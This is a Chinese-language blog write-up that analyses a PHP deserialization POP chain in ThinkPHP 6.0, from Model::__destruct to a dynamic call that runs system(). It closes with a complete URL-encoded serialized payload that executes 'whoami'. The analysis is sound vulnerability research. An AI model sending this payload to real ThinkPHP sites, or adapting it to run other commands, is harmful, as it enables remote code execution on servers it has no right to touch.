0x01 环境搭建
使用composer进行安装:
1 | composer create-project topthink/think=6.0.x-dev TPv6.0 |
定义入口文件app\controller\Index.php:
1 |
|
0x02 __destruct链分析
(1)寻找__destruct()
反序列化POP链的起点通常是__destruct()函数,这次漏洞的触发点位于vendor\topthink\think-orm\src\Model.php中Model类的__destruct析构函数:

当满足$this->lazySave==true时,将会调用$this->save(),继续跟进。
(2)跟进save()

首先要想不被return掉,需要满足下面整个if语句:
1 | if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { |
- 先跟进
$this->isEmpty():只需要满足$this->data不为空即可。
- 再跟进
$this->trigger():只需要满足$this->withEvent == false即可返回true。
在通过if语句之后,会进入到:当1
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
$this->exists == true时进入$this->updateData();当$this->exists == false时进入$this->insertData()。
分别跟进,发现updateData()存在继续利用的点,所以需要$this->exists == true,跟进分析。
(3)跟进updateData()

这里下一步的利用点存在于$this->checkAllowFields()中,但是要调用该函数,需要通过①②两处的if语句:
① 与之前save()中的一样,只需要令$this->withEvent == false即可通过。
② 需要$data == 1,所以我们跟进$this->getChangedData()看一下:
只需要令$this->force == true,即可直接返回$this-data,而我们之前也需要设置$this-data为非空。
回到updateData()中,之后就可以成功调用到了$this->checkAllowFields()。
(4)跟进checkAllowFields()

下一步的利用点在$this->db()中,所以我们需要令$this->field和$this->schema均为空才能调用到它:
但可以看到这两个地方默认为空,所以不需要进行构造,然后进一步跟进$this->db()。
(5)跟进db()

可以看到这里已经存在了用.进行字符串连接的操作了, 所以把$this->table或 $this->suffix 设置成响应类对象就可以触发__toString()了。
(6)__destruct()链小结
目前为止,前半条POP链已经完成,即可以通过字符串拼接去调用__toString(),所以先总结一下我们需要设置的点:
1 | $this->data不为空 |
调用过程如下:
但是还有一个问题就是Model类是抽象类,不能实例化。所以要想利用,得找出Model类的一个子类进行实例化,这里可以用Pivot类进行利用。
0x03 __toString()链分析
(1)寻找__toString()
既然前半条POP链已经能够触发__toString(),下面就是寻找利用点。这次漏洞的__toString()利用点位于vendor\topthink\think-orm\src\model\concern\Conversion.php中名为Conversion 的trait中。
很简单,跟进toJson()。
(2)跟进toJson()

没什么好说的,继续跟进toArray()。
(3)跟进toArray()

对$date进行遍历,其中$key为$date的键。默认情况下,会进入第二个elseif语句,从而已$key作为参数调用getAttr()函数。
接着跟进getAttr()。
(4)跟进getAttr()
位于vendor\topthink\think-orm\src\model\concern\Attribute.php中:
$value返回自$this->getData(),且参数为toArray()传进来的$key,跟进一下getData():
继续跟进getRealFieldName():
当满足$this->strict == true时(默认为true),直接返回$name,也就是最开始从toArray()中传进来的$key值。
从getRealFieldName()回到getData(),此时$fieldName即为$key。而返回语句如下,实际上就是返回了$this->data[$key]。
然后再从getData()回到getAttr(),最后的返回语句如下:
1 | return $this->getValue($name, $value, $relation); |
这时参数$name则是从toArray()传进来的$key,而参数$value的值就是$this->data[$key]。
继续跟进一下getValue()
(5)跟进getValue()

首先$fieldName的值来自经过getRealFieldName()处理的$key值,而当$this->strict == true时,是不做处理直接返回的,所以$fieldName的值就为$key。
跟进一下getRealFieldName():
然后需要通过两个if语句,满足的条件为:$this->withAttr数组存在和$date一样的键$key,并且这个键对应的值不能为数组。
这样的话,就会把$this->withAttr[$key](withAttr数组$key键对应的值)当做函数名动态执行,参数为$this->date[$key]。
例如:
1 | $this->withAttr = ["key" => "system"]; |
实际上最后执行的即为system('whoami')
(6)__toString()链小结
至此,后半个POP链也构造完成,小结一下需要构造的点:
1 | trait Attribute |
除此之外还需要将前面说的table声明为Pivot类对象,从而将两个POP链串联起来。
第二个POP链调用过程如下:
0x04 POC
0x04 POC
最终POC如下:
1 |
|
运行得到payload:
1 | O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7D |
结果如下:
0x05 后记
第一次对ThinkPHP框架进行真实漏洞的审计,参考着大佬们的分析文章才弄明白了。其实一步一步理解这个反序列化漏洞的流程并不是特别困难,主要还是自己对ThinkPHP框架不熟悉、对PHP命名空间的概念也不是特别清晰,导致在编写POC的过程中遇到了些问题。之前一直处于只做CTF题目的状态,以后还是得要多做做代码审计,找个时间把thinkphp手册过一遍吧,tcl。